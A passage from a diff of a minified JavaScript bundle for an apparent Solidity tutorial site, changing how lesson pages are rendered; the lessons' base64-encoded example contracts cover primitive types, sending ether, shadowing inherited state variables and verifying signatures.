CBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],uW=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11204,7 +11204,7 @@ you can't send ether.
                                        
         require(success, "Failed to send Ether");
     }
 }
-
                                        `,yW=({prev:s,next:a})=>r.jsx(u,{version:dW,title:CW,description:jW,html:AW,prev:s,next:a,codes:uW}),mW="0.8.24",bW="Primitive Data Types",wW="Primitive data types",kW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],ZW=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        +`,yW=({prev:s,next:a})=>r.jsx(A,{version:dW,title:CW,description:jW,html:uW,prev:s,next:a,codes:AW}),mW="0.8.24",bW="Primitive Data Types",wW="Primitive data types",kW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],ZW=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        • boolean
                                        • uint256
                                          • @@ -11266,7 +11266,7 @@ you can't send ether.

                                          int256 public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,WW=({prev:s,next:a})=>r.jsx(u,{version:mW,title:bW,description:wW,html:ZW,prev:s,next:a,codes:kW}),BW="0.8.24",GW="Sending Ether (transfer, send, call)",VW="An example of sending Ether in Solidity",fW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],YW=`

                                          How to send Ether?

                                          +`,WW=({prev:s,next:a})=>r.jsx(A,{version:mW,title:bW,description:wW,html:ZW,prev:s,next:a,codes:kW}),BW="0.8.24",GW="Sending Ether (transfer, send, call)",VW="An example of sending Ether in Solidity",fW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],YW=`

                                          How to send Ether?

                                          You can send Ether to other contracts by

                                          • transfer (2300 gas, throws error)
                                            • @@ -11338,7 +11338,7 @@ you can't send ether.

                                            require(sent, "Failed to send Ether"); } } -`,RW=({prev:s,next:a})=>r.jsx(u,{version:BW,title:GW,description:VW,html:YW,prev:s,next:a,codes:fW}),XW="0.8.24",vW="Shadowing Inherited State Variables",NW="An example of shadowing state variables by inheritance",HW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],FW=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it +`,RW=({prev:s,next:a})=>r.jsx(A,{version:BW,title:GW,description:VW,html:YW,prev:s,next:a,codes:fW}),XW="0.8.24",vW="Shadowing Inherited State Variables",NW="An example of shadowing state variables by inheritance",HW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],FW=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

                                            Let's learn how to correctly override inherited state variables.

                                            // SPDX-License-Identifier: MIT
@@ -11366,7 +11366,7 @@ in the child contract.
                                            
 
     // C.getName returns "Contract C"
 }
-
                                            `,KW=({prev:s,next:a})=>r.jsx(u,{version:XW,title:vW,description:NW,html:FW,prev:s,next:a,codes:HW}),MW="0.8.24",SW="Verifying Signature",xW="An example of how to verify signatures in Solidity",JW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgIC